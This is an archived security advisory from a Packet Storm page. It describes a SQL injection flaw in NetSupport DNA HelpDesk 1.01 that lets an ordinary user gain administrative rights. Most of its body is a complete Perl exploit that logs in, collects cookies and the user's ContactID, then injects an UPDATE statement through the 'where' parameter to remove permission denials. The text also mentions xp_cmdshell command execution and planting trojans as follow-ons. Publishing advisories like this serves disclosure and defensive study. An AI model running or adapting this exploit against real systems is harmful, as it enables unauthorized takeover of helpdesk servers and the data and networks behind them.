what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

netsupportDNA.txt

netsupportDNA.txt
Posted Jul 24, 2004
Authored by Noam Rathaus | Site securiteam.com

NetSupport DNA Helpdesk 1.x is susceptible to a SQL injection vulnerability. Full exploit provided.

tags | exploit, sql injection
SHA-256 | a38e02e674a7c12a4b1a0261fe4698c50758836182a131d2a0e1148be2617f39

netsupportDNA.txt

Change Mirror Download
*NetSupport DNA HelpDesk SQL Injection

*
*Summary*
DNA Helpdesk <http://www.netsupportsoftware.com/> is "a fully web based
solution providing detailed recording and tracking of user Help Requests".

We found the product to contain at least one exploitable SQL Injection
vulnerability that would allow a normal user to at the very least gain
administrative privileges to the DNA HelpDesk product, at the worst case
he will be able to get complete control over (administrative privileges)
the computer on which the DNA HelpDesk is installed and utilize it to
gain access to other computers.

*Details*
*Vulnerable Systems:*
* NetSupport's DNA HelpDesk version 1.01

The vulnerable page is the problist.asp, and its 'where' parameter. The
parameter receives, from the user, part of SQL statement that is later
used by the DNA HelpDesk. If we insert a malicious SQL statement to the
'where' parameter, we can modify the HD_Permissions table, and set to
our ContactId all the permissions from deny to allow.

Depending on what other information is stored on the SQL server, and how
it was hardened we could obtain:
1) SQL's administrative username and password
2) Execute commands via MS SQL's extended procedure (xp_cmdshell)
3) Trick users into downloading Trojan horses (by providing them with
solutions for their Tickets) etc.

See the below exploit code demonstrating how we gain administrative
privileges to DNA's HelpDesk, by only providing it with a username and
password (regular user).

*Vendor response:*
The only response we have received from them to date (We contacted them
on the 26 April 2004) is:
/Thank you for your email regarding NetSupport DNA Helpdesk. This
problem has been reproduced and it has been passed to a member in the
Development team for Investigation/.

*Testing Methodology:*
A few months ago Beyond Security built a new module for its Automated
Scanning Vulnerability Assessment engine to test web sites and web
applications for security vulnerabilities. This module adds the
capability to dynamically crawl through a web site and find
vulnerabilities in its dynamic pages.

This type of tool was considered to be different from the network VA
tools, but we at Beyond Security believe that these two types of tools
should be merged into one, and this is what made us incorporate the Web
Site Security Audit module to our Automated Scanning engine.

For a press release on this integration see:
http://www.beyondsecurity.com/press/2004/press10030402.htm
White paper on the first integrated network and web application
vulnerability scanner: http://www.beyondsecurity.com/webscan-wp.pdf

Our Automated Scanning engine equipped with the Web Site Security Audit
module did all the tests described in this advisory automatically.

*Exploit:*
#!/usr/bin/perl

use IO::Socket;
use strict;

my $verbose = 0;

if (($#ARGV+1) < 4)
{
print "Usage (Provided only ".($#ARGV+1)." parameters):\n";
print "DNAHack.pl host path email password\n";
print "host - IP/name formed (e.g. 192.168.1.243)\n";
print "path - The path under which the product is installed (e.g.
/HelpDesk/)\n";
print "email - The email used to logon (e.g. example\@com.com)\n";
print "password - The password used for the email provided (e.g.
foobar)\n";
exit(0);
}

my $host = $ARGV[0];
my $path = $ARGV[1];

my $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host,
PeerPort => "80" );

unless ($remote) { die "cannot connect to http daemon on $host" }

if ($verbose)
{
print "connected\n";
}

$remote->autoflush(1);

my $Email = $ARGV[2];
my $Password = $ARGV[3];

print "Grabbing initial cookie\n";

my $http = "GET /$path/logon.asp HTTP/1.1
Host: $host
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6)
Gecko/20040405 Firefox/0.8
Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,ima
ge/gif;q=0.2,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Connection: close
Referer: http://$host/$path/logon.asp

";

print $remote $http;
if ($verbose)
{
print "HTTP: [".$http."]\n";
}

sleep(1);

my $Cookie = "";
while (<$remote>)
{
if (/Set-Cookie: ([^;]+;)/)
{
$Cookie .= $1." ";
}
if ($verbose)
{
print "$_";
}
}

print "Cookie: $Cookie\n";

close($remote);

my $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host,
PeerPort => "80" );

unless ($remote) { die "cannot connect to http daemon on $host" }

if ($verbose)
{
print "connected\n";
}

$remote->autoflush(1);

print "Performing logon\n";

$http = "POST /$path/logon.asp HTTP/1.1
Host: $host
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6)
Gecko/20040405 Firefox/0.8
Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Cookie: $Cookie
Connection: close
Referer: http://$host/$path/logon.asp
Content-Type: application/x-www-form-urlencoded
Content-Length: ";

my $content =
"EmailAddress=$Email&password=$Password&action=submit&submitBtn=Logon&Redirect=";

$http .= length($content) ."\r\n";

$http .= "\r\n$content";

print $remote $http;
if ($verbose)
{
print "HTTP: [".$http."]\n";
}

sleep(1);

while (<$remote>)
{
if (/Set-Cookie: ([^;]+;)/)
{
$Cookie .= $1." ";
}

if ($verbose)
{
print "$_";
}
}

close($remote);

print "Cookie: $Cookie\n";

print "Grabbing ContactID\n";

$remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host,
PeerPort => "80" );
unless ($remote) { die "cannot connect to http daemon on $host" }

if ($verbose)
{
print "connected\n";
}

$remote->autoflush(1);

$http = "GET /helpdesk/createContact.asp?editself=1 HTTP/1.1
Host: $host
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6)
Gecko/20040405 Firefox/0.8
Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Connection: close
Cookie: $Cookie

";

my $ContactID;

print $remote $http;

sleep(1);

while (<$remote>)
{
if (/<input type="hidden" id="ContactID" name="ContactID"
value="([0-9]+)">/)
{
$ContactID = $1;
}
if ($verbose)
{
print "$_";
}
}

close $remote;

print "ContactID: $ContactID\n";

print "Gaining elvated privileges\n";

$remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host,
PeerPort => "80" );
unless ($remote) { die "cannot connect to http daemon on $host" }
if ($verbose)
{
print "connected\n";
}
$remote->autoflush(1);

$http = "GET
/$path/problist.asp?where=1%3D0+order+by+TicketId;+UPDATE+HD_Permissions+SET+denyPermission=0+WHERE+ContactId=$ContactID+--
HTTP/1.1
Host: $host
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6)
Gecko/20040405 Firefox/0.8
Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Connection: close
Cookie: $Cookie

";

print "Gaining privileges\n";
print $remote $http;
sleep(1);

while (<$remote>)
{
if ($verbose)
{
print "$_";
}
}
print "\n";

close $remote;

print "Logon to the system as before, you should be able to view the
'Admin' menu\n";

*Additional information*
The information has been provided by Noam Rathaus


Copyright © 1998-2004 Beyond Security Ltd.
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close